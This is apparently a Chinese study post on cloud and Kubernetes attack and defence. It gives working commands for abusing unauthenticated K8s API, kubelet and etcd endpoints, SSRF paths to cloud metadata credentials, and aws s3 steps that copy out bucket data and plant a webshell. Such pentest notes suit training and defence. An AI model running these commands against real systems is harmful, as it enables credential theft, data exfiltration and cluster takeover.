一、参考资料：
这些都是比较不错的资料
https://www.bilibili.com/video/BV1qA411x73A?
https://www.yuque.com/swteam/sw/cu6g6x
https://blog.csdn.net/bloodzero_new/article/details/110670478
https://zone.huoxian.cn/?q=%E4%BA%91%E5%AE%89%E5%85%A8
https://mp.weixin.qq.com/s/6MaRiXk5_VUYfL1TWcGR4Q
https://zone.huoxian.cn/d/1028-cvm
对象存储攻防
https://mp.weixin.qq.com/s/1FDlM6vXiHqDR6dchZpftQ
https://mp.weixin.qq.com/s/ncWGrMsIAvh9HEK1QC5IGQ //腾讯的云鼎实验室公众号可以看一看
K8S安全
https://mp.weixin.qq.com/s/8lhmjPtLTlVkS1Q3-6-mHA
https://mp.weixin.qq.com/s/T2QGLlKwjaUByDtGFL94PQ
元数据
https://zone.huoxian.cn/d/927-cloud-redteamcny
火线云安全专场回顾
https://zone.huoxian.cn/d/916-22
写的很全
https://zone.huoxian.cn/u/42342
https://wiki.teamssix.com/About/
https://github.com/neargle/my-re0-k8s-security
https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools
二、云鼎实验室安全攻防矩阵
| 初始访问 ==> | 执行 ==> | 持久化 ==> | 权限提升 ==> | 防御绕过 ==> | 窃取凭据 ==> | 探测 ==> | 横向移动 ==> | 影响 |
|---|---|---|---|---|---|---|---|---|
| 实例登录信息泄露 | 通过控制台登录实例执行 | 利用远程控制软件 | 通过访问管理提权 | 关闭安全监控服务 | 获取服务器实例登录账号 | 云资产探测 | 使用实例账号爆破 | 数据泄漏 |
| 账户劫持 | 写入userdata执行命令 | 在userdata中添加后门 | 利用应用程序提权 | 监控区域外进行攻击 | 元数据服务获取角色临时凭据 | 网络扫描 | 窃取角色临时凭据横向访问 | 资源劫持 |
| 网络钓鱼 | 利用后门文件执行指令 | 在自定义镜像库中导入后门镜像 | 创建高权限角色 | 禁用日志记录 | 获取K8s configfile | 探测Kubernetes Dashboard | 通过漏洞逃逸到宿主机 | 网络逃逸 |
| 应用程序漏洞 | 利用应用程序执行 | 给现有的用户分配额外的密钥 | 利用操作系统漏洞进行提权 | 日志清理 | 元数据服务获取角色临时凭据 | 探测 Kubernetes APIServer | 通过配置错误逃逸到宿主机 | 拒绝服务 |
| 使用恶意或存在漏洞的自定义镜像 | 利用SSH服务进入实例执行 | 建立辅助账号登录 | 利用特权容器提权 | 关闭容器安全产品 | 用户账号数据泄露 | 网络扫描 | 通过K8s Dashboard横向移动 | 数据丢失 |
| 应用程序漏洞 | 利用远程代码执行漏洞执行 | 在云函数中添加后门 | 利用错误配置提权 | 常规Pod中植入后门 | 获取配置文件中的应用凭证 | 窃取角色临时凭据访问云服务 | 服务滥用 | |
| 使用恶意或存在漏洞的自定义镜像 | 部署后门容器 | 通过容器逃逸向宿主机写入文件 | 利用操作系统漏洞提权 | 日志清理 | 云服务凭证泄露 | 窃取凭据访问云服务 | 权限接管 | |
| 暴露 Kubernetes 控制面板 | 进入容器执行 | 在自定义镜像库中镜像植入后门 | 利用Kubernetes 漏洞进行提权 | 通过代理访问 | 窃取用户账号攻击其他应用 | |||
| kubeconfig文件泄露 | 利用SSH服务进入容器执行 | K8s 定时任务 | 利用Docker漏洞提权 | |||||
| 对象存储SDK泄露 | 利用远程代码执行漏洞执行 | cos存储攻击方式 | cos存储攻击方式 | |||||
| 存储桶工具配置文件泄露 | 使用云API执行命令 | 在存储对象中植入后门 | 通过Write Acl提权 | |||||
| 前端直传功能获取凭据 | 使用云厂商工具执行 | 通过访问管理提权 | ||||||
| 实例元数据服务未授权访问 | ||||||||
| 云平台账号非法登录 | ||||||||
| 云平台主API密钥泄露 |
三、基础知识
1、云计算的基本概念：
云计算这些基本上都是各大公有云提供，比如华为云,阿里云,百度云，腾讯云，还有很多小云厂商等。用户可通过互联网访问公有云，但数据将通过虚拟化与其他用户的数据隔离，以提高安全性。
Iaas 云服务器，云存储，最原始的云服务器，VPS
Paas 中间件，应用服务器，不需要部署基础设施了
Saas 虚拟的软件，例如OA，CRM，ERP等
ECS——云服务器，其实就是Iaas的应用产品化
RDS——云数据库
元数据——描述”数据”的数据，
元数据服务——查看实例的元数据
元数据服务部署在链路本地地址上，源数据服务只能从实例内部访问。
VPC——相对于传统网络安全架构里局域网的概念，比如传统局域网里有路由器交换机，VPC里也有类似的东西，一个VPC就是一个Vlan。
负载均衡SLB——与传统的网络中的负载均衡类似，对流量进行按需分发，消除系统的单点故障，不过SLB也分为很多种，比如阿里就推出ALB（面对HTTP和HTTPS等场景），CLB（传统类型负载均衡。）
2、常见云架构和云原生安全
如下图所示是一个简单的云上架构，通过负载均衡到ECS的云服务器，静态资源使用OSS文件存储，动态数据使用数据库RDS存储。
云原生安全要防护的东西
何为云原生安全？
云（Cloud）表示应用程序位于云中，而不是传统的数据中心；
原生（Native）表示应用程序从设计之初即考虑到云的环境，原生为云而设计，在云上以最佳状态运行，充分利用和发挥云平台的弹性和分布式优势；
硬件安全： 可信环境，除了一些国家很重要的保密单位感觉不必看这个
宿主机安全： 云是寄托在真实的硬件服务器上的，宿主机的真实服务和真实的操作系统可以看在这一层。
容器编排安全：Kubernetes服务等可以看在这一个层面
应用层： 由微服务、Service Mesh（云网络通信）、容器技术（Docker等）、容器镜像（仓库）组成
3、云的OWASP TOP 11
三、K8S基础知识
容器是重要的组成部分，具有占用资源少部署快的强大优点。比如常见的docker。当容器规模大了以后，就需要对这些容器集群进行编排维护，所以就有了k8s技术。那么K8s技术就是针对容器的编排，管理的技术。
K8s由主控节点master和工作节点worker组成
master负责资源调度，维护状态；有如下组件
1、APIserver——集群入口，一般通过kubectl来与该API进行交互
2、Controller-manager——处理集群后台任务，一个资源对应一个控制器
3、Scheduler——节点调度，node的应用部署，将pod放在哪个node节点上，对节点的负载，性能进行考虑
4、Etcd——存储系统，用于保存数据
worker负责跑应用服务，两者通过kubelet进行通信；有如下组件
1、kubelet——派到node节点的agent，负责管理本机容器的操作
2、kube-proxy——用于网络代理，实现node之间的负载均衡
3、pod——k8s的最小单元，一组容器的组合就叫pod，在pod里共享网络。
1、K8S的工作流程：
1、根据用户需求事业kubectl调用APIserver对于的API功能
2、APIserver根据命令类型此时会联动Controller-manager和Scheduler等组件，然后通过调用kubelet来管理worker进行下发新建容器，或者下发命令执行到对应node节点的。
3、Node节点此时会操作容器进行交互，完成下发的命令并返回结果
4、返回的结果根据实际情况存储在Etcd中。
2、安全机制：
1、认证，判断用户是否为合法用户
2、鉴权，API的某些权限也要进行鉴定，看调度的是否合法
3、准入控制，类似于ACL,在鉴权之后执行。
3、认证与鉴权：
认证
token涉及到对集群和pod的操作，这是我们比较关注的
X509证书认证是kubernetes组件默认使用的认证方式，也是一种比较安全的方式。
鉴权
当用户认证通过后，就会执行用户鉴权流程，
RBAC目前是最主要的鉴权方式（基于角色的访问控制），当RBAC无法满足某些特定需求时，需要自行编写鉴权逻辑，通过webhook的方式注册更加复杂的授权规则。
4、命名空间：
K8S存在命名空间的概念。K8S支持多个虚拟集群，底层依赖于同一个物理集群，虚拟机群也被叫做命名空间，命名空间是划分资源的一种方法，而每种角色又只能访问它所对应的命名空间中的资源。
大概的关系如下
命名空间——————》多种角色——————》资源
系统默认有4个命名空间
kubectl get ns 查看命名空间
default 没有指明使用其它名字空间的对象所使用的默认名字空间kube-system Kubernetes 系统创建对象所使用的名字空间kube-public 此命名空间下的资源可被所有人访问（包括未授权用户）kube-node-lease 集群之间的心跳维护
在RBAC中我们知道是基于角色的权限控制，角色分为两大类，一类是普通角色role，一类是集群角色clusterrole，而这两大类的角色下又有很多划分更细致的角色，其中普通角色是分配运行的容器的，基于容器之上的管理；而集群角色不用多说，是直接管理集群的。
default命名空间里查看普通角色有啥，没有配置就没有
kube-system命名空间查看普通角色有啥，没有配置有系统自带的
集群角色有很多，在kube-system和default命名空间里查看都是如下的角色。
集群角色中存在一个最高权限cluster-admin，他拥有所有的资源的权限。
admin权限也很大，但是比cluster-admin小了一些。
四、云上可能存在的问题
对于整个安全的防护关注，主要可以围绕着下面三大块来进行
1、攻击前：减少攻击面
2、攻击时：降低攻击成功率
3、攻击后：减少攻击成功后能获取的有价值的东西
除去传统的Web漏洞问题，云上部署带来方便性和安全性的同时，也增加了一些非云业务的漏洞类型。传统 IDC 部署和云端部署差异最大的点在于《账户》、《应用》、《网络》
1、漏洞问题(包括-凭证的保管)
1）、公司云账户泄露
比如AK,SK（不同的云对它的命名可能不同），这个access-key泄露的话可能就直接拿下云服务器权限了。
2）、云原生架构API未授权风险
在云原生架构中存在大量的应用API，通过直接调用API可以对云原生进行大量的操作，一旦API出现未授权漏洞，则可能导致整个云原生架构的安全问题
3）、k8s集群内横向无法发现
4）、容器安全问题
当创建容器时不恰当产生一些配置错误，或者是产生容器逃逸的安全问题，会直接导致宿主机沦陷，而这里的宿主机不是一般的宿主机，可能管控是成百上千台容器云服务器，造成的危害巨大。
5）、云上架构风险
使用云服务会打破传统的网络隔离的限制，使得防火墙之类的安全防护失效。
之后就会出现如下的安全问题，在以往的内外部渗透测试突破过程中：
- 在配置云服务过程中，泄漏云账号（ak/sk）可直接控制云上资源；
- 在使用k8s过程中，未能对API做鉴权，集群证书在外部泄漏，都会导致整个集群被接管；
- 在集群使用中，除了漏洞外，错误的配置pod会让容器逃逸的风险变大；
- 在集群内部对pod进行横向移动扫描，无适配云架构的hids无法检测；
- 在企业内网中，存在API跨传统网络区域访问，可管理不同区域的pods，打破网络边界
2、租户网络配置风险问题
1、高危端口对外开放——这个和一般的网络架构没啥区别
2、VPC未隔离
VPC是指私有网络,私有网络是针对公有云的基础网络(经典网络)来定义的一种概念。
如果企业用户的测试和生产处于同一VPS，可能会产生资产管理之后导致的一系列问题
3、资产管理的不明确
以前的IDC机房，可能就几个小房间，或者一层楼。
现在的云IDC可能就会分部在各个地方，给云资产的管理带来不便。
如何管理呢？
1、白盒资产管理
https://bloodzer0.github.io/ossa/other-security-branch/asset-management/asset-acquisition/
2、黑盒资产资产管理
3、Msscan+nmap的扫描方案
五、K8s的API风险漏洞
K8s中存在最大的问题就是未授权问题
1、6443/8080端口未授权
如下是没有漏洞的
但是在当运维人员存在配置不当的情况下，就可能存在将”system:anonymous”用户绑定到”cluster-admin”用户组，此时就会出现如下情况。
如上其实就出现了k8s未授权漏洞
访问https://192.168.41.22:6443/api/v1/namespaces/kube-system/secrets/ 即可获取大量token信息。
此时的token账户选择我们得选系统非自带账户或default账户，或者admin账户之类的，拿到token后下载一个kubectl就可以接管集群了。
2、kubelet节点未授权
每个node节点都有一个kubelet服务用来与集群通信，kubelet监听了10250，10248，10255等端口。
正常访问是这样的
配置了如下认证
拿到了如上的未授权，还是需要使用kubeletctl工具
连接容器./kubeletctl pods -s 192.168.41.23 --port 10250执行命令curl -k https://nodeip:10250/run/$namespace/$POD/$CONTAINERS -d "cmd=ls" --insecurecurl -k https://192.168.41.23:10250/run/default/nginx-f89759699-tct4p/nginx -d "cmd=ls" --insecure执行命令后可以尝试容器逃逸
3、etcd未授权访问
默认端口为2379端口，如下dir:true就存在未授权访问
下载etcdctl通过如下命令可以遍历所有的key：ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only如果服务器启用了https，需要加上两个参数忽略证书校验--insecure-transport 和--insecure-skip-tls-verifyETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only通过v3API来dump数据库到 output.dataETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379 get {} >> output.data && echo "" >> output.data'
4、dashboard未授权访问
k8s存在一个图形化界面，端口在30000+以上随机开放。
存在两种利用方式：
1、利用之前的未授权漏洞直接拿到admin相关的token，直接登录，gui界面更方便操作
2、利用配置不当，例如下面存在跳过选项，可以直接跳过登录。
5、Kubectl Proxy
当运维人员需要某个环境暴露端口或者IP时，会用到Kubectl Proxy使用kubectl proxy命令就可以使API server监听在本地的8009端口上，此时我们便可使用kubectl工具来进行代理直接访问到K8S集群里的内容。
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009kubectl -s http://192.168.11.152:8009 get pods -n kube-system
六、云存储安全漏洞：
用户所上传的文件都是以对象形式存储在云端，以对象形式形式存在的文件不具备可执行权限。在大环境下很多企业将静态文件托管代对象存储中。
存储桶相关安全问题如下可见：
https://www.yuque.com/iceqaq/imaaxb/qbyk8y/edit
七、容器风险（docker）
容器风险基本上可以认为就是容器逃逸的风险，基本有4个攻击面
1、Linux内核逃逸漏洞
2、容器自身的安全漏洞
3、不安全的配置
4、docker API未授权
详情可查看https://www.yuque.com/iceqaq/imaaxb/dqlgpv/
八、云计算服务器安全风险
镜像源问题
云服务器支持自定义导入镜像，且导入的方式比较统一，基本上都是由对象存储的方式来进行导入，输入OSS-KEY的地址，然后云服务器会进行下载导入。
如果云服务器的该镜像被劫持了，会造成污染镜像源的“供应链攻击”
并且云服务器支持“制作镜像”，类似于克隆服务器，如果该服务器存在漏洞的话，也会产生很大的问题。
批量计算
一些云服务器厂商提供了批量计算的服务，只需配置参数，即可对服务器的资源进行计算。
大部分使用OSS来控制参数的输入输出，若该 oss-bucket 可控，则可直接控制批量计算的服务命令等。
九、云上攻防之SSRF
由于云厂商提供云服务均使用同一套网络边界和鉴权系统，且各云组件默认相互信任。此时一旦存在SSRF漏洞，此类边界将不复存在。
元数据服务
云实例中存在一个元数据服务用于查看实例中的元数据，以AWS举例，在实例内部访问地址
http://169.254.169.254/latest/meta-data/ 即可访问到元数据服务，也正因为它存在于本地链路169，因此别人是访问不到的，但是如果该云实例服务器存在SSRF漏洞呢？
攻击请求：
AWS
http://x.x.x.x/url=http://169.254.169.254/latest/metadata/iam/security-credentials/
/latest/meta-data/ami-id
/latest/meta-data/iam/security-credentials/
/latest/user-data/
/latest/dynamic/instance-identity/document
/latest/meta-data/iam/info
看了一下，阿里云的元数据服务地址如下，和AWS的不大一样。
google的API元数据
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
获取到一些相关的敏感资料后，可以做很多事情，比如获取到
AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN后，可以使用AWSCLI执行命令
当然不是一定能获取到这些凭据的，需要管理员给ECS（云服务器）配置RAM角色，如果没有配置该角色，部分路由会404。
google Cloud /computeMetadata/v1/
Azure /metadata/instance?api-version=2017-04-02
Oracle cloud /opc/v1/instance
甚至可能存在如下操作：
测试人员通过SSRF漏洞攻击元数据服务，并将获取到的AK信息存储到日志服务中，然后在日志服务中获取到了AK信息，最终通过获取到的AK信息控制了超过200台服务器
获取临时凭证后，可以获取到实例的控制权限，
aws s3 cp s3://elasticbeanstalk-region-account-id/ /攻击者本地目录 –recursive 上传
aws s3 cp webshell.zip s3:// elasticbeanstalk-region-account-id/ 选组
之后可上传恶意文件到存储桶中，如果该存储桶持续交付，持续更新，那么可能导致自动在用户实例上更新部署，从而将攻击者上传的webshell部署至实例上，导致云横向扩散
攻击kubelet API/docker API
在云环境我们知道K8s 有kubelet API可能产生未授权漏洞。可通过Kubelet API查询集群pod和node的信息，也可通过其执行命令。
因此就能通过SSRF对该kubelet API进行攻击，以下攻击属于kubelet内网未授权。
同样可用于攻击Docker API 默认端口为2375，如果该API未授权，可直接执行命令，甚至后续可进行docker逃逸。
不止SSRF
针对云厂商提供的Web应用托管服务的攻击不止可以使用SSRF，比如类似的XXE，危害更高的RCE等都可以产生如上危害。
十、针对云原生安全渗透工具
1、容器漏洞扫描
trivy
https://github.com/aquasecurity/trivy
容器安全，关于容器安全方面的比较有价值的一些工具，包括扫描容器安全性，比如说它是严重或者高危等等，都会给我们提供一些参考。
2、kubernetes集群中的安全漏洞
https://github.com/aquasecurity/kube-hunter
这个是针对于K8S集群进行一些渗透测试，然后会发现整个集群存在哪些严重的问题。对这些问题，可能需要人工进一步的确认，判断哪些可能有重大的隐患，再进行修复
3、Falco
http://github.com/falcosecurity/falco
这是安全运行的安全监控，监控它的容器运行的可疑行为，执行了哪些可疑的操作。发送警报，集中分析这样一个工具，然后它会进行一系列的告警
4、洞态IAST
洞态IAST进行针对研发测试过程中的全自动安全测试
从测试阶段全自动化的分析到采用了哪些安全组件，哪些组件安全是属于高危
可以用作代码审计的分析
十一、总结
整个云安全大体可以分为两个层面
第一层是LAAS的基础建设，就是传统的VM虚拟化到云上的容器化，以及微服务化，这一款其实就是基础平台的传统漏洞，以及一些云上安全架构的漏洞，比如容器安全，k8s安全等，以及一些传统的安全对抗，这一块是花的时间比较多的。
第二块是SAAS层，SAAS层分为两块，第一块是对人服务的，也就是直接写后端API，然后前端写界面直接调用；第二块是对机器的，比如云地图之类的，那么现在直接在云上开个服务你花钱直接调用我们的接口就好了。相对的安全需求就是API的安全
若有收获，就点个赞吧
0 人点赞
